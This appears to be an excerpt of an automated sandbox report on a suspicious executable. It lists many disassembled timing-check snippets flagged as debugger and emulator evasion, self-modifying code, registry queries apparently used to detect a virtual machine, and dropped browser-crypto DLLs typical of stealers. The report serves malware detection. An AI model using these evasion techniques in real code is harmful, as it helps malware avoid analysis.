Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B930 second address: 128B934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B934 second address: 128B943 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6E3CB812E6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133C10A second address: 133C10F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133C51A second address: 133C520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CB55 second address: 133CB59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DC8E second address: 133DCA2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6E3CB812E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F6E3CB812F2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DCA2 second address: 133DCA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DCA8 second address: 133DCCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007F6E3CB812EEh 0x0000000c jno 00007F6E3CB812E6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F6E3CB812E6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134406E second address: 1344072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347B22 second address: 1347B39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F2h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347CA3 second address: 1347CAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347CAC second address: 1347CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB812EDh 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007F6E3CB812EAh 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347CD2 second address: 1347CF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F6E3CB7CFE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347CF9 second address: 1347CFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347E48 second address: 1347E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB7CFF0h 0x00000009 jng 00007F6E3CB7CFF2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347E6E second address: 1347EA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jnc 00007F6E3CB812E6h 0x0000000b jmp 00007F6E3CB812F6h 0x00000010 jmp 00007F6E3CB812EBh 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007F6E3CB812EBh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134974F second address: 1349755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349755 second address: 1349780 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E3CB812F0h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jng 00007F6E3CB812F8h 0x00000013 jne 00007F6E3CB812E8h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13549CF second address: 13549D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135691C second address: 1356922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356922 second address: 1356942 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 js 00007F6E3CB7CFE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6E3CB7CFF0h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356942 second address: 1356946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356472 second address: 1356476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356476 second address: 1356483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13565DF second address: 13565EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13565EA second address: 13565EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13565EE second address: 135660B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F6E3CB7CFEBh 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F6E3CB7CFE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135C125 second address: 135C12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135C12B second address: 135C138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6E3CB7CFE6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13607E4 second address: 136080F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F7h 0x00000007 jmp 00007F6E3CB812F0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136080F second address: 1360827 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F6E3CB7CFF3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1361E51 second address: 1361E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364D09 second address: 1364D28 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F6E3CB7CFF0h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364D28 second address: 1364D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6E3CB812E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364D33 second address: 1364D3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136972F second address: 1369735 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1369735 second address: 1369739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D0B9 second address: 136D0C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EFA6 second address: 136EFC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EFC4 second address: 136EFE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB812F0h 0x00000009 jg 00007F6E3CB812E6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007F6E3CB812E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EFE7 second address: 136EFEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136EFEB second address: 136EFF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371387 second address: 137138B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378582 second address: 1378588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376FD4 second address: 1376FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6E3CB7CFE6h 0x0000000a popad 0x0000000b pop edi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6E3CB7CFF7h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376FFA second address: 1377000 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377143 second address: 1377163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F6E3CB7CFECh 0x0000000b jp 00007F6E3CB7CFE6h 0x00000011 popad 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377163 second address: 1377167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377167 second address: 137716B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137716B second address: 1377171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377171 second address: 13771AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F6E3CB7CFF7h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6E3CB7CFF8h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137778C second address: 1377792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BBB7 second address: 137BBBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BBBB second address: 137BBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BBC7 second address: 137BBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6E3CB7CFE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BBD1 second address: 137BBE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BBE5 second address: 137BBFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E3CB7CFEFh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BBFE second address: 137BC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BC02 second address: 137BC06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138C8DE second address: 138C8EE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6E3CB812E6h 0x00000008 jno 00007F6E3CB812E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139A5A1 second address: 139A5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6E3CB7CFE6h 0x0000000a jmp 00007F6E3CB7CFF0h 0x0000000f popad 0x00000010 jnp 00007F6E3CB7CFE8h 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139A5C7 second address: 139A5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA3E3 second address: 13AA415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F6E3CB7D009h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AA415 second address: 13AA41F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6E3CB812E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9F03 second address: 13A9F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9F09 second address: 13A9F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9F14 second address: 13A9F18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9F18 second address: 13A9F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9F1E second address: 13A9F28 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9F28 second address: 13A9F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1290831 second address: 1290837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AE3AC second address: 13AE3B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AE3B1 second address: 13AE3DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F6E3CB7CFE6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F6E3CB7CFFBh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AE3DD second address: 13AE3E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AE460 second address: 13AE466 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AE9CA second address: 13AE9CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00261 second address: 4E00265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00265 second address: 4E0026B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0026B second address: 4E00271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00271 second address: 4E0029A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F6E3CB812F8h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0029A second address: 4E0029E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0029E second address: 4E002A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E002A2 second address: 4E002A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0030C second address: 4E00336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx eax, di 0x0000000e mov cl, bl 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6E3CB812EEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00336 second address: 4E0037F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6E3CB7CFF1h 0x00000008 pop ecx 0x00000009 mov bx, 3264h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007F6E3CB7CFF3h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6E3CB7CFF5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0037F second address: 4E00385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBFBA second address: 12CBFC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CC137 second address: 12CC13D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00AE4 second address: 4E00B20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F6E3CB7CFF5h 0x00000014 adc eax, 3ADC2B76h 0x0000001a jmp 00007F6E3CB7CFF1h 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B20 second address: 4E00B24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B24 second address: 4E00B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, 524CA0BDh 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6E3CB7CFF2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B48 second address: 4E00B4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B4E second address: 4E00B5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3CB7CFEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B5F second address: 4E00B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11218D3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1121974 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12E9E3F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 134B9B8 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
